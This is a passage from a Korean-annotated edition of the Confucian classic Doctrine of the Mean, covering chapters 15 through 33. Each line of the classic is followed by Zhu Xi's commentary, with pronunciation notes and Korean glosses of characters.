翕은 亦合也라. 耽은 亦樂也라. 帑는 子孫也라.\n15-2. 子이 曰하사대 \"父母其順矣乎!\"라고 하셨다.解\n夫子誦此詩而贊之曰 \"人能和於妻子 宜於兄弟如此 則父母其安樂之矣. 子思引詩及此語 以明行遠自邇,登高自卑之意.\n[上第十五章]\n16-1. 子이 曰하사대 \"鬼神之為德이 其盛矣乎인저!解\n程子曰 鬼神 天地之功用 而造化之跡也. 張子曰 鬼神者 二氣之良能也. 愚謂以二氣言 則鬼者陰之靈也 神者陽之靈也. 以一氣言 則至而伸者為神 反而歸者為鬼 其實一物而已. 為德 猶言性情功效.\n16-2. 視之而弗見하며 聽之而弗聞이로되 體物而不可遺니라.解\n鬼神無形與聲 然物之終始 莫非陰陽合散之所為 是其為物之體 而物所不能遺也. 其言體物 猶易所謂幹事.\n16-3. 使天下之人으로 齊明盛服하여 以承祭祀하니, 洋洋乎如在其上하며 如在其左右니라.解\n齊之為言齊也 所以齊不齊而致其齊也. 明 猶潔也. 洋洋 流動充滿之意. 能使人畏敬奉承 而發見昭著如此 乃其體物而不可遺之驗也. 孔子曰 \"其氣發揚于上 為昭明焄蒿悽愴. 此百物之精也 神之著也\" 正謂此爾.\n16-4. 詩曰 神之格思를 不可度[待洛反]思어늘 矧可射思!아하니,解\n[格:이를격(至),올격(來)][矧:하물며신,잇목,잇속들어나다][射:실어할역(厭)][斁:싫을역(厭)]\n射 音亦 詩作斁. 詩大雅抑之篇. 格 來也. 矧 況也. 射 厭也. 言厭怠而不敬也. 思 語辭.\n16-5. 夫[音扶]微之顯이니 誠之不可揜이 如此夫인저.解\n誠者 真實無妄之謂. 陰陽合散 無非實者. 故其發見之不可揜如此.\n[上第十六章. 不見不聞 隱也. 體物如在 則亦費矣. 此前三章 以其費之小者而言. 此後三章 以其費之大者而言. 此一章 兼費隱,包大小而言.]\n17-1. 子曰 \"舜은 其大孝也與[平聲]신저! 德爲聖人이시고, 尊爲天子시고, 富有四海之內하사 宗廟饗之하시며, 子孫保之하시니라.解\n子孫 謂虞思,陳胡公之屬.\n17-2. 故로 大德은 必得其位하며, 必得其祿하며, 必得其名하며, 必得其壽니라.解\n舜年百有十歲.\n17-3. 故로 天之生物이 必因其材而篤焉하나니. 故로 栽者를 培之하고, 傾者를 覆之하니라.解\n材 質也. 篤 厚也. 栽 植也. 氣至而滋息為培. 氣反而游散則覆.\n17-4. 詩曰 '嘉樂君子여 憲憲顯顯令德이로다! 宜民宜人이라 受祿于天이어늘 保佑命之하시고 自天申之라!'하니,解\n詩大雅假樂之篇. 假 當依此作嘉. 憲 當依詩作顯. 申 重也.\n17-5. 故로 大德者는 必受命이니라.解\n受命者 受天命為天子也.\n[上第十七章. 此由庸行之常 推之以極其至 見道之用廣也. 而其所以然者 則為體微矣. 後二章亦此意.]\n18-1. 子曰 \"無憂者는 其惟文王乎신저! 以王季爲父하시고 以武王爲子하시니 父作之어시늘 子述之하시니라.解\n此言文王之事。書言「王季其勤王家」,蓋其所作,亦積功累仁之事也.\n18-2. 武王纘大[音泰,下同]王과 王季와 文王之緒하사 壹戎衣而有天下하시되 身不失天下之顯名하시며, 尊為天子시고, 富有四海之內하사. 宗廟饗之하시고 子孫保之하시니라.解 [纘:이를찬,모을찬.=繼][戎:병장기,군사싸움,오랑캐]\n此言武王之事. 纘 繼也. 大王 王季之父也. 書云 '大王肇基王跡.' 詩云 '至于大王 實始翦商.' 緒 業也. 戎衣 甲冑之屬. 壹戎衣 武成文 言一著戎衣以伐紂也.\n18-3. 武王이 末受命이어시늘, 周公이 成文武之德하사 追王大王[去聲] 王季하시고, 上祀先公以天子之禮하시니. 斯禮也는 達乎諸侯大夫와 及士庶人하여, 父為大夫요 子為士어든 葬以大夫하고 祭以士하며, 父為士요 子為大夫어든 葬以士하고 祭以大夫하며, 期之喪은 達乎大夫하고 三年之喪은 達乎天子하나, 父母之喪은 無貴賤一也니라.\"解\n此言周公之事. 末 猶老也. 追王 蓋推文武之意 以及乎王跡之所起也. 先公 組紺以上至后稷也. 上祀先公以天子之禮 又推大王,王季之意 以及於無窮也. 制為禮法 以及天下 使葬用死者之爵 祭用生者之祿. 喪服自期以下 諸侯絕,大夫降,而父母之喪 上下同之 推己以及人也.\n[上第十八章]\n19-1. 子이 曰하사대 \"武王,周公은 其達孝矣乎신저!解\n達 通也. 承上章而言武王,周公之孝 乃天下之人通謂之孝 猶孟子之言達尊也.\n19-2. 夫孝者는 善繼人之志하며, 善述人之事者也니라.解\n上章言武王纘大王,王季,文王之緒以有天下 而周公成文武之德以追崇其先祖 此繼志述事之大者也. 下文又以其所制祭祀之禮 通於上下者言之.\n19-3. 春秋에 修其祖廟하며, 陳其宗器하며, 設其裳衣하며, 薦其時食이니라.解\n祖廟 天子七 諸侯五 大夫三 適士二 官師一. 宗器 先世所藏之重器, 若周之赤刀,大訓,天球,河圖之屬也. 裳衣 先祖之遺衣服 祭則設之以授尸也. 時食 四時之食 各有其物 如春行羔,豚,膳,膏,香之類是也.\n19-4. 宗廟之禮는 所以序昭[如字]穆也요, 序爵은 所以辨貴賤也요, 序事는 所以辨賢也요, 旅酬에 下為[去聲]上은 所以逮賤也요, 燕毛는 所以序齒也니라.解 [逮:미칠체(及),잡아가둘체,쫓을태]\n宗廟之次 左為昭 右為穆 而子孫亦以為序. 有事於太廟 則子姓,兄弟,群昭,群穆咸在而不失其倫焉. 爵 公 侯 卿 大夫也. 事 宗祝有司之職事也. 旅 眾也. 酬 導飲也. 旅酬之禮 賓弟子,兄弟之子各舉觶於其長而眾相酬. 蓋宗廟之中以有事為榮 故逮及賤者 使亦得以申其敬也. 燕毛 祭畢而燕 則以毛髮之色別長幼 為坐次也. 齒 年數也.\n19-5. 踐其位하여 行其禮하며, 奏其樂하며, 敬其所尊하며, 愛其所親하며, 事死如事生하며, 事亡如事存이 孝之至也니라.解\n踐 猶履也. 其 指先王也. 所尊所親 先王之祖考,子孫,臣庶也. 始死謂之死 既葬則曰反而亡焉 皆指先王也. 此結上文兩節 皆繼志述事之意也.\n19-6. 郊社之禮는 所以事上帝也요, 宗廟之禮는 所以祀乎其先也라. 明乎郊社之禮,禘嘗之義면 治國은 其如示諸掌乎인저.解\n郊 祀天. 社 祭地. 不言后土者 省文也. 禘 天子宗廟之大祭 追祭太祖之所自出於太廟 而以太祖配之也. 嘗 秋祭也. 四時皆祭 舉其一耳. 禮必有義 對舉之 互文也. 示 與視同. 視諸掌 言易見也. 此與論語文意大同小異 記有詳略耳.\n[上第十九章]\n20-1. 哀公이 問政한데, 子이 曰하사대 \"文武之政이 布在方策하니, 其人存이면 則其政舉하고, 其人亡이면 則其政息이니이다.\"解\n哀公 魯君 名蔣. 方 版也. 策 簡也. 息 猶滅也. 有是君 有是臣 則有是政矣.\n20-2. 人道는 敏政하고, 地道는 敏樹하니, 夫[音扶]政也者는 蒲盧也니이다.解\n敏,速也。蒲盧,沈括以為蒲葦是也。以人立政,猶以地種樹,其成速矣,而蒲葦又易生之物,其成尤速也。言人存政舉,其易如此.\n20-3. 故로 為政在人하니 取人以身이요, 脩身以道요, 脩道以仁이니이다.解\n此承上文人道敏政而言也。為政在人,家語作「為政在於得人」,語意尤備。人,謂賢臣。身,指君身。道者,天下之達道。仁者,天地生物之心,而人得以生者,所謂元者善之長也。言人君為政在於得人,而取人之則又在脩身。能仁其身,則有君有臣,而政無不舉矣.\n20-4. 仁者는 人也니, 親親이 為大하고, 義者는 宜也니 尊賢이 為大하니, 親親之殺[去聲]와 尊賢之等이 禮所生也니이다.解\n人,指人身而言。具此生理,自然便有惻怛慈愛之意,深體味之可見。宜者,分別事理,各有所宜也。禮,則節文斯二者而已.\n20-5. 故로 君子는 不可以不脩身이니, 思脩身인댄 不可以不事親이요, 思事親인댄 不可以不知人이요, 思知人인댄 不可以不知天이니이다.解\n為政在人,取人以身,故不可以不脩身。脩身以道,脩道以仁,故思脩身不可以不事親。欲盡親親之仁,必由尊賢之義,故又當知人。親親之殺,尊賢之等,皆天理也,故又當知天.\n20-6. 天下之達道五에 所以行之者三이니, 曰君臣也와 父子也와 夫婦也와 昆弟也와 朋友之交也 五者는 天下之達道也요, 知[去聲],仁,勇三者는 天下之達德也니, 所以行之者는 一也니이다.解\n達道者,天下古今所共由之路,即書所謂五典,孟子所謂「父子有親、君臣有義、夫婦有別、長幼有序、朋友有信」是也。知,所以知此也;仁,所以體此也;勇,所以強此也;謂之達德者,天下古今所同得之理也。一則誠而已矣。達道雖人所共由,然無是三德,則無以行之;達德雖人所同得,然一有不誠,則人欲間之,而德非其德矣。程子曰:「所謂誠者,止是誠實此三者。三者之外,更別無誠.\n20-7. 或生而知之하며, 或學而知之하며, 或困而知之하나니, 及其知之하여는 一也니이다. 或安而行之하며, 或利而行之하며, 或勉強[上聲]而行之하나니, 及其成功하여는 一也니이다.解\n知之者之所知,行之者之所行,謂達道也。以其分而言:則所以知者知也,所以行者仁也,所以至於知之成功而一者勇也。以其等而言:則生知安行者知也,學知利行者仁也,困知勉行者勇也。蓋人性雖無不善,而氣稟有不同者,故聞道有蚤莫,行道有難易,然能自強不息,則其至一也。呂氏曰:「所入之塗雖異,而所至之域則同,此所以為中庸。若乃企生知安行之資為不可幾及,輕困知勉行謂不能有成,此道之所以不明不行也.\n20-8. 子이 曰하사대 \"好學은 近乎知하고, 力行은 近乎仁하고, 知恥는 近乎勇이니라.解\n子曰,二字衍文. 好近乎知之知 並去聲. 此言未及乎達德而求以入德之事. 通上文三知為知 三行為仁 則此三近者 勇之次也. 呂氏曰 '愚者自是而不求 自私者殉人欲而忘反 懦者甘為人下而不辭. 故好學非知 然足以破愚, 力行非仁 然足以忘私, 知恥非勇 然足以起懦.\n20-9. 知斯三者면 則知所以脩身이요, 知所以脩身이면 則知所以治人이요, 知所以治人이면 則知所以治天下國家矣리라.解\n斯三者 指三近而言. 人者 對己之稱. 天下國家 則盡乎人矣. 言此以結上文脩身之意 起下文九經之端也.\n20-10. 凡為天下國家有九經하니, 曰 脩身也와 尊賢也와 親親也와 敬大臣也와 體群臣也와 子庶民也와 來百工也와 柔遠人也와 懷諸侯也니라.解\n經,常也。體,謂設以身處其地而察其心也。子,如父母之愛其子也。柔遠人,所謂無忘賓旅者也。此列九經之目也。呂氏曰:「天下國家之本在身,故脩身為九經之本。然必親師取友,然後脩身之道進,故尊賢次之。道之所進,莫先其家,故親親次之。由家以及朝廷,故敬大臣、體群臣次之。由朝廷以及其國,故子庶民、來百工次之。由其國以及天下,故柔遠人、懷諸侯次之。此九經之序也。」視群臣猶吾四體,視百姓猶吾子,此視臣視民之別也.\n20-11. 脩身則道立하고, 尊賢則不惑하고, 親親則諸父昆弟不怨하고, 敬大臣則不眩하고, 體群臣則士之報禮重하고, 子庶民則百姓勸하고, 來百工則財用足하고, 柔遠人則四方歸之하고, 懷諸侯則天下畏之니라.解 [眩:아찔할현,眩惑]\n此言九經之效也。道立,謂道成於己而可為民表,所謂皇建其有極是也。不惑,謂不疑於理。不眩,謂不迷於事。敬大臣則信任專,而小臣不得以間之,故臨事而不眩也。來百工則通功易事,農末相資,故財用足。柔遠人,則天下之旅皆悅而願出於其塗,故四方歸。懷諸侯,則德之所施者博,而威之所制者廣矣,故曰天下畏之.\n20-12. 齊[側皆反]明盛服하여 非禮不動은 所以脩身也요, 去[上聲]讒遠[去聲]色하며, 賤貨而貴德은 所以勸賢也요, 尊其位하며 重其祿하며 同其好[去聲]惡[去聲]는 所以勸親親也요, 官盛任使는 所以勸大臣也요, 忠信重祿은 所以勸士也요, 時使薄斂[去聲]은 所以勸百姓也요, 日省月試하여 既稟稱[去聲]事는 所以勸百工也요, 送往迎來하며 嘉善而矜不能은 所以柔遠人也요, 繼絕世하며, 舉廢國하며, 治亂持危하며, 朝聘以時하며, 厚往而薄來는 所以懷諸侯也니이다.解\n[讒:참소할참,간악할참.讒訴:터무니 없는 간악한 말로 남을 헐뜯어 없는 죄를 있는 것처럼 웃사람에게 고해바침 ]\n此言九經之事也。官盛任使,謂官屬眾盛,足任使令也,蓋大臣不當親細事,故所以優之者如此。忠信重祿,謂待之誠而養之厚,蓋以身體之,而知其所賴乎上者如此也。既,讀曰餼。餼稟,稍食也。稱事,如周禮稿人職,曰「考其弓弩,以上下其食」是也。往則為之授節以送之,來則豐其委積以迎之。朝,謂諸侯見於天子。聘,謂諸侯使大夫來獻。王制「比年一小聘,三年一大聘,五年一朝」。厚往薄來,謂燕賜厚而納貢薄.\n20-13. 凡為天下國家有九經하니, 所以行之者는 一也니이다.解\n一者,誠也。一有不誠,則是九者皆為虛文矣,此九經之實也.\n20-14. 子이 曰하사대 \"凡事는 豫則立하고 不豫則廢하나니, 言前定則不跲[其劫反]하고, 事前定則不困하며, 行[去聲]前定則不疚하고, 道前定則不窮이니이다.解\n[跲:엎드러질겁.(躓,蹉跌)]\n凡事,指達道達德九經之屬。豫,素定也。跲,躓也。疚,病也。此承上文,言凡事皆欲先立乎誠,如下文所推是也.\n20-15. 在下하여 位不獲乎上이면 民不可得而治矣며, 獲乎上이 有道하니 不信乎朋友면 不獲乎上矣며, 信乎朋友가 有道하니 不順乎親이면 不信乎朋友矣며, 順乎親有道하니 反諸身不誠이면 不順乎親矣며, 誠身有道하니 不明乎善이면 不誠乎身矣리이다.解\n此又以在下位者,推言素定之意。反諸身不誠,謂反求諸身而所存所發,未能真實而無妄也。不明乎善,謂未能察於人心天命之本然,而真知至善之所在也.\n20-16. 誠者는 天之道也요, 誠之者는 人之道也니, 誠者는 不勉而中[去聲]하며, 不思而得하여 從容中[去聲]道하나니 聖人也요. 誠之者는 擇善而固執之者也니라.解\n此承上文誠身而言。誠者,真實無妄之謂,天理之本然也。誠之者,未能真實無妄,而欲其真實無妄之謂,人事之當然也。聖人之德,渾然天理,真實無妄,不待思勉而從容中道,則亦天之道也。未至於聖,則不能無人欲之私,而其為德不能皆實。故未能不思而得,則必擇善,然後可以明善;未能不勉而中,則必固執,然後可以誠身,此則所謂人之道也。不思而得,生知也。不勉而中,安行也。擇善,學知以下之事。固執,利行以下之事也.\n20-17. 博學之하고, 審問之하며, 慎思之하며, 明辨之하며, 篤行之니라.解\n此誠之之目也。學、問、思、辨,所以擇善而為知,學而知也。篤行,所以固執而為仁,利而行也。程子曰:「五者廢其一,非學也.\n20-18. 有弗學이언정 學之인댄 弗能이어든 弗措也하며, 有弗問이언정 問之인댄 弗知어든 弗措也하며, 有弗思언정 思之인댄 弗得이어든 弗措也하며, 有弗辨이언정 辨之인댄 弗明이어든 弗措也하며, 有弗行이언정 行之인댄 弗篤이어든 弗措也하여 人一能之어든 己百之하며, 人十能之어든 己千之니라.解\n君子之學,不為則已,為則必要其成,故常百倍其功。此困而知,勉而行者也,勇之事也.\n20-19. 果能此道矣면 雖愚나 必明하며, 雖柔나 必強이니라.解\n明者擇善之功,強者固執之效。呂氏曰:「君子所以學者,為能變化氣質而已。德勝氣質,則愚者可進於明,柔者可進於強。不能勝之,則雖有志於學,亦愚不能明,柔不能立而已矣。蓋均善而無惡者,性也,人所同也;昏明強弱之稟不齊者,才也,人所異也。誠之者所以反其同而變其異也。夫以不美之質,求變而美,非百倍其功,不足以致之。今以鹵莽滅裂之學,或作或輟,以變其不美之質,及不能變,則曰天質不美,非學所能變。是果於自棄,其為不仁甚矣!」.\n[鹵:소금발로,거칠다.황무지][莽풀우거질망][鹵莽:경솔하고 주의가 부족함. 일이 거칠고 서투름]\n[上第二十章。此引孔子之言,以繼大舜、文、武、周公之緒,明其所傳之一致,舉而措之,亦猶是耳。蓋包費隱、兼小大,以終十二章之意。章內語誠始詳,而所謂誠者,實此篇之樞紐也。又按:孔子家語,亦載此章,而其文尤詳。「成功一也」之下,有「公曰:子之言美矣!至矣!寡人實固,不足以成之也」。故其下復以「子曰」起答辭。今無此問辭,而猶有「子曰」二字;蓋子思刪其繁文以附于篇,而所刪有不盡者,今當為衍文也。「博學之」以下,家語無之,意彼有闕文,抑此或子思所補也歟?]\n21. 自誠明을 謂之性이요, 自明誠을 謂之敎니, 誠則明矣요, 明則誠矣니라.解\n自,由也。德無不實而明無不照者,聖人之德。所性而有者也,天道也。先明乎善,而後能實其善者,賢人之學。由教而入者也,人道也。誠則無不明矣,明則可以至於誠矣.\n[上第二十一章。子思承上章夫子天道、人道之意而立言也。自此以下十二章,皆子思之言,以反覆推明此章之意.]\n22. 惟天下至誠이라야 爲能盡其性이니, 能盡其性이면 則能盡人之性이요, 能盡物之性이면 則可以贊天地之化育이요, 可以贊天地之化育이면 則可以與天地參矣니라.解\n天下至誠,謂聖人之德之實,天下莫能加也。盡其性者德無不實,故無人欲之私,而天命之在我者,察之由之,巨細精粗,無毫髮之不盡也。人物之性,亦我之性,但以所賦形氣不同而有異耳。能盡之者,謂知之無不明而處之無不當也。贊,猶助也。與天地參,謂與天地並立為三也。此自誠而明者之事也.\n[上第二十二章。言天道也.]\n23. 其次는 致曲이니, 曲能有誠이니 誠則形하고, 形則著하고, 著則明하고, 明則動하고, 動則變하고, 變則化니 唯天下至誠이라야 為能化니라.解\n其次,通大賢以下凡誠有未至者而言也。致,推致也。曲,一偏也。形者,積中而發外。著,則又加顯矣。明,則又有光輝發越之盛也。動者,誠能動物。變者,物從而變。化,則有不知其所以然者。蓋人之性無不同,而氣則有異,故惟聖人能舉其性之全體而盡之。其次則必自其善端發見之偏,而悉推致之,以各造其極也。曲無不致,則德無不實,而形、著、動、變之功自不能已。積而至於能化,則其至誠之妙,亦不異於聖人矣.\n[上第二十三章。言人道也.]\n24. 至誠之道는 可以前知니, 國家將興에 必有禎祥하며, 國家將亡에 必有妖孼하여 見[音現]乎蓍龜하며 動乎四體라. 禍福將至에 善을 必先知之하고 不善을 必先知之하나니, 故로 至誠은 如神이니라.解\n禎祥者,福之兆。妖孽者,禍之萌。蓍,所以筮。龜,所以卜。四體,謂動作威儀之閒,如執玉高卑,其容俯仰之類。凡此皆理之先見者也。然惟誠之至極,而無一毫私偽留於心目之間者,乃能有以察其幾焉。神,謂鬼神.\n[上第二十四章。言天道也.]\n25-1. 誠者는 自成也나, 而道는 自道[音導]也니라.解\n言誠者物之所以自成,而道者人之所當自行也。誠以心言,本也;道以理言,用也.\n25-2. 誠者는 物之終始니, 不誠이면 無物이라. 是故로 君子는 誠之為貴니라.解\n天下之物,皆實理之所為,故必得是理,然後有是物。所得之理既盡,則是物亦盡而無有矣。故人之心一有不實,則雖有所為亦如無有,而君子必以誠為貴也。蓋人之心能無不實,乃為有以自成,而道之在我者亦無不行矣.\n25-3. 誠者는 非自成己而已也라 所以成物也니라. 成己는 仁也요, 成物은 知[去聲]也요 性之德也니, 合外內之道也니라. 故로 時措之宜也니라.解\n誠雖所以成己,然既有以自成,則自然及物,而道亦行於彼矣。仁者體之存,知者用之發,是皆吾性之固有,而無內外之殊。既得於己,則見於事者,以時措之,而皆得其宜也.\n[上第二十五章。言人道也.]\n26-1. 故로 至誠은 無息이니 不息則久하고, 久則徵하고, 徵則悠遠하고, 悠遠則博厚하고, 博厚則高明이니라.解\n既無虛假,自無間斷。久,常於中也。徵,驗於外也。此皆以其驗於外者言之。鄭氏所謂「至誠之德,著於四方」者是也。存諸中者既久,則驗於外者益悠遠而無窮矣。悠遠,故其積也廣博而深厚;博厚,故其發也高大而光明.\n26-2. 博厚는 所以載物也요, 高明은 所以覆物也요, 悠久는 所以成物也니라. 博厚는 配地하고, 高明은 配天하고, 悠久는 無疆이니라. 解\n悠久,即悠遠,兼內外而言之也。本以悠遠致高厚,而高厚又悠久也。此言聖人與天地同用。此言聖人與天地同體.\n26-3. 如此者는 不見[音現]而章하며, 不動而變하며, 無為而成이니라.解\n見,猶示也。不見而章,以配地而言也。不動而變,以配天而言也。無為而成,以無疆而言也.\n26-4. 天地之道는 可一言而盡也니, 其為物不貳라 則其生物不測이니라.解\n此以下,復以天地明至誠無息之功用。天地之道,可一言而盡,不過曰誠而已。不貳,所以誠也。誠故不息,而生物之多,有莫知其所以然者.\n26-5. 天地之道는 博也, 厚也, 高也, 明也, 悠也, 久也니라.解\n言天地之道,誠一不貳,故能各極所盛,而有下文生物之功。今夫天,斯昭昭之多,及其無窮也,日月星辰繫焉,萬物覆焉.\n26-6. 今夫[音扶]天이 斯昭昭之多로되 及其無窮也하여는 日月星辰繫焉하며, 萬物覆焉이니라. 今夫地는 一撮土之多로되 及其廣厚하여는 載華[去聲]嶽而不重하며, 振河海而不洩하며, 萬物載焉이니라. 今夫山이 一卷[平聲]石之多로되 及其廣大하여는 草木生之하며, 禽獸居之하며, 寶藏[去聲]興焉이니라. 今夫水는 一勺[市若反]之多로되 及其不測하여는 黿鼉, 蛟龍, 魚鱉生焉하며, 貨財殖焉이니라.解\n[撮:자밤촬(자밤:손가락 끝으로 집을 만한 분량)][振:거두다(收)][洩:샐설(漏)][勺:조금(百分之一升)][黿:큰자라원][鼉:악어타][殖:번성할식][耿:반짝일경]\n昭昭,猶耿耿,小明也。此指其一處而言之。及其無窮,猶十二章及其至也之意,蓋舉全體而言也。振,收也。卷,區也。此四條,皆以發明由其不貳不息以致盛大而能生物之意。然天、地、山、川,實非由積累而後大,讀者不以辭害意可也.\n26-7. 詩云 '維天之命이 於[音烏]穆不已라!' 하니, 蓋曰天之所以為天也요, '於[音烏]乎[音呼]不顯가! 文王之德之純이여!'하니, 蓋曰文王之所以為文也요, 純亦不已니라.解\n詩周頌維天之命篇。於,歎辭。穆,深遠也。不顯,猶言豈不顯也。純,純一不雜也。引此以明至誠無息之意。程子曰:「天道不已,文王純於天道,亦不已。純則無二無雜,不已則無間斷先後.\n[右第二十六章。言天道也]\n27-1. 大哉라 聖人之道여! 洋洋乎!發育萬物하여 峻極于天이로다. 優優大哉라! 禮儀三百이요, 威儀三千이로다. 待其人而後에 行이니라.解\n大哉聖人之道!包下文兩節而言。峻,高大也。此言道之極於至大而無外也。優優,充足有餘之意。禮儀,經禮也。威儀,曲禮也。此言道之入於至小而無閒也。總結上兩節。\n27-2. 故로 曰苟不至德이면 至道不凝焉이라하니라. 故로 君子는 尊德性而道問學이니, 致廣大而盡精微하며, 極高明而道中庸하며, 溫故而知新하며, 敦厚以崇禮니라.解\n至德,謂其人。至道,指上兩節而言也。凝,聚也,成也。尊者,恭敬奉持之意。德性者,吾所受於天之正理。道,由也。溫,猶燖溫之溫,謂故學之矣,復時習之也。敦,加厚也。尊德性,所以存心而極乎道體之大也。道問學,所以致知而盡乎道體之細也。二者修德凝道之大端也。不以一毫私意自蔽,不以一毫私欲自累,涵泳乎其所已知。敦篤乎其所已能,此皆存心之屬也。析理則不使有毫釐之差,處事則不使有過不及之謬,理義則日知其所未知,節文則日謹其所未謹,此皆致知之屬也。蓋非存心無以致知,而存心者又不可以不致知。故此五句,大小相資,首尾相應,聖賢所示入德之方,莫詳於此,學者宜盡心焉。\n27-3. 是故로 居上不驕하며, 為下不倍라. 國有道에 其言이 足以興이요, 國無道에 其默이 足以容이니. 詩曰 '既明且哲하여 以保其身이라'하니 其此之謂與[平聲]인저!解\n倍,與背同。興,謂興起在位也。詩大雅烝民之篇。\n[上第二十七章。言人道也.]\n28-1. 子이 曰하사대 \"愚而好[去聲]自用하며, 賤而好自專이요, 生乎今之世하여 反古之道면 如此者는 烖及其身者也니라.\"解 [烖=災.灾]\n烖,古灾字。以上孔子之言,子思引之。反,復也.\n28-2. 非天子면 不議禮하며, 不制度하며, 不考文이니라.解\n此以下,子思之言。禮,親疏貴賤相接之體也。度,品制。文,書名。\n28-3. 今天下車同軌하며, 書同文하며, 行[去聲]同倫이니라. 雖有其位나 苟無其德이면 不敢作禮樂焉이며, 雖有其德이나 苟無其位면 亦不敢作禮樂焉이니라.解\n今,子思自謂當時也。軌,轍跡之度。倫,次序之體。三者皆同,言天下一統也。鄭氏曰 \"言作禮樂者,必聖人在天子之位。\"\n28-4. 子이 曰하사대 \"吾說夏禮나 杞不足徵也며, 吾學殷禮하니 有宋存焉이어니와, 吾學周禮하니 今用之라. 吾從周하리라.\"解\n此又引孔子之言。杞,夏之後。徵,證也。宋,殷之後。三代之禮,孔子皆嘗學之而能言其意;但夏禮既不可考證,殷禮雖存,又非當世之法,惟周禮乃時王之制,今日所用。孔子既不得位,則從周而已。\n[上第二十八章。承上章為下不倍而言 亦人道也]\n29-1. 王[去聲]天下有三重焉하니 其寡過矣乎인저!解\n呂氏曰 \"三重 謂議禮, 制度, 考文. 惟天子得以行之 則國不異政 家不殊俗 而人得寡過矣.\"\n29-2. 上焉者는 雖善이나 無徵이니. 無徵이면 不信이요, 不信이면 民弗從이니라. 下焉者는 雖善이나 不尊이니. 不尊이면 不信이요, 不信이면 民弗從이니라.解\n上焉者,謂時王以前,如夏、商之禮雖善,而皆不可考。下焉者,謂聖人在下,如孔子雖善於禮,而不在尊位也。\n29-3. 故로 君子之道는 本諸身하여 徵諸庶民하며, 考諸三王而不繆(謬)하며, 建諸天地而不悖하며, 質諸鬼神而無疑하며, 百世以俟聖人而不惑이니라.解\n此君子,指王天下者而言。其道,即議禮、制度、考文之事也。本諸身,有其德也。徵諸庶民,驗其所信從也。建,立也,立於此而參於彼也。天地者,道也。鬼神者,造化之跡也。百世以俟聖人而不惑,所謂聖人復起,不易吾言者也。\n29-4. 質諸鬼神而無疑는 知天也요, 百世以俟聖人而不惑은 知人也니라.解\n知天知人 知其理也.\n29-5. 是故로 君子는 動而世為天下道니 行而世為天下法하며, 言而世為天下則이라. 遠之則有望하고 近之則不厭이니라.解\n動 兼言行而言. 道 兼法則而言. 法 法度也. 則 準則也.\n29-6. 詩曰 '在彼無惡[去聲]하며, 在此無射[音妒]이라. 庶幾夙夜하여 以永終譽라!하니' 君子는 未有不如此하고 而蚤有譽於天下者也니라.解\n射 音妒 詩作斁. 詩周頌振鷺之篇. 射 厭也. 所謂此者 指本諸身以下六事而言.\n上第二十九章。承上章居上不驕而言 亦人道也.\n30-1. 仲尼는 祖述堯舜하시고, 憲章文武하시며, 上律天時하시고, 下襲水土하시니라.解\n祖述者 遠宗其道. 憲章者 近守其法. 律天時者 法其自然之運. 襲水土者 因其一定之理. 皆兼內外該本末而言也.\n30-2. 辟[音譬]如天地之無不持載하며, 無不覆幬[徒報反]하며, 辟如四時之錯行하며, 如日月之代明이니라.解\n錯 猶迭也. 此言聖人之德.\n30-3. 萬物並育而不相害하며, 道並行而不相悖라. 小德은 川流요, 大德은 敦化하나니, 此天地之所以為大也니라.解\n悖,猶背也。天覆地載,萬物並育於其間而不相害;四時日月,錯行代明而不相悖。所以不害不悖者,小德之川流;所以並育並行者,大德之敦化。小德者,全體之分;大德者,萬殊之本。川流者,如川之流,脈絡分明而往不息也。敦化者,敦厚其化,根本盛大而出無窮也。此言天地之道,以見上文取辟之意也.\n上第三十章. 言天道也.\n31-1. 唯天下至聖이라야 為能聰明睿知[去聲]로 足以有臨也니, 寬裕溫柔로 足以有容也며, 發強剛毅로 足以有執也며, 齊[側皆反]莊中正이 足以有敬也며, 文理密察이 足以有別[彼列反]也니라.解\n聰明睿知 生知之質. 臨 謂居上而臨下也. 其下四者 乃仁義禮知之德. 文 文章也. 理 條理也. 密 詳細也. 察 明辯也.\n31-2. 溥博淵泉하여 而時出之니라. 溥博如天하고 淵泉은 如淵하니 見而民莫不敬하며, 言而民莫不信하며, 行而民莫不說[音悅]이니라.解\n溥博,周遍而廣闊也。淵泉,靜深而有本也。出,發見[音現]也。言五者之德,充積於中,而以時發見[音現]於外也. 言其充積極其盛,而發見當其可也.\n31-3. 是以로 聲名이 洋溢乎中國하여 施[去聲]及蠻貊하여 舟車所至와, 人力所通과, 天之所覆과, 地之所載와, 日月所照와, 霜露所隊[音墜]에 凡有血氣者이 莫不尊親하나니, 故로 曰配天하니라.解 [貊:북방오랑캐맥]\n舟車所至以下 蓋極言之. 配天 言其德之所及 廣大如天也.\n上第三十一章. 承上章而言小德之川流 亦天道也.\n32-1. 唯天下至誠이라야 為能經綸天下之大經하며, 立天下之大本하며, 知天地之化育이니. 夫[音扶]焉有所倚리요?解\n經 綸 皆治絲之事. 經者 理其緒而分之,綸者 比其類而合之也. 經 常也. 大經者 五品之人倫. 大本者 所性之全體也. 惟聖人之德極誠無妄 故於人倫各盡其當然之實 而皆可以為天下後世法 所謂經綸之也. 其於所性之全體 無一毫人欲之偽以雜之 而天下之道千變萬化皆由此出 所謂立之也. 其於天地之化育 則亦其極誠無妄者有默契焉 非但聞見之知而已. 此皆至誠無妄 自然之功用 夫豈有所倚著於物而後能哉.\n32-2. 肫肫其仁이며!淵淵其淵이며!浩浩其天이로다!解[肫:정성스러울순.肫肫:정성스러운 모양]\n肫肫 懇至貌 以經綸而言也. 淵淵 靜深貌 以立本而言也. 浩浩 廣大貌 以知化而言也. 其淵其天 則非特如之而已.\n32-3. 苟不固聰明聖知[去聲]達天德者면 其孰能知之리요?解\n固 猶實也. 鄭氏曰 \"惟聖人能知聖人也.\"\n上第三十二章. 承上章而言大德之敦化 亦天道也. 前章言至聖之德 此章言至誠之道. 然至誠之道 非至聖不能知, 至聖之德 非至誠不能為 則亦非二物矣. 此篇言聖人天道之極致 至此而無以加矣.\n33-1. 詩曰 '衣[去聲]錦尚絅[口迥反]이라'하니, 惡[去聲]其文之著也라. 故로 君子之道는 闇[於感反]然而日章하고, 小人之道는 的然而日亡하나니. 君子之道는 淡而不厭하며, 簡而文하며, 溫而理니, 知遠之近하며, 知風之自하며, 知微之顯이면 可與入德矣리라.解\n[絅:홑옷경][闇:닫힌문암,어둡다,불분명,숨을암,여막음]\n前章言聖人之德 極其盛矣. 此復自下學立心之始言之 而下文又推之以至其極也. 詩國風衛碩人,鄭之丰 皆作 '衣錦褧衣'. 褧,絅同. 襌衣也. 尚 加也. 古之學者為己 故其立心如此. 尚絅故闇然 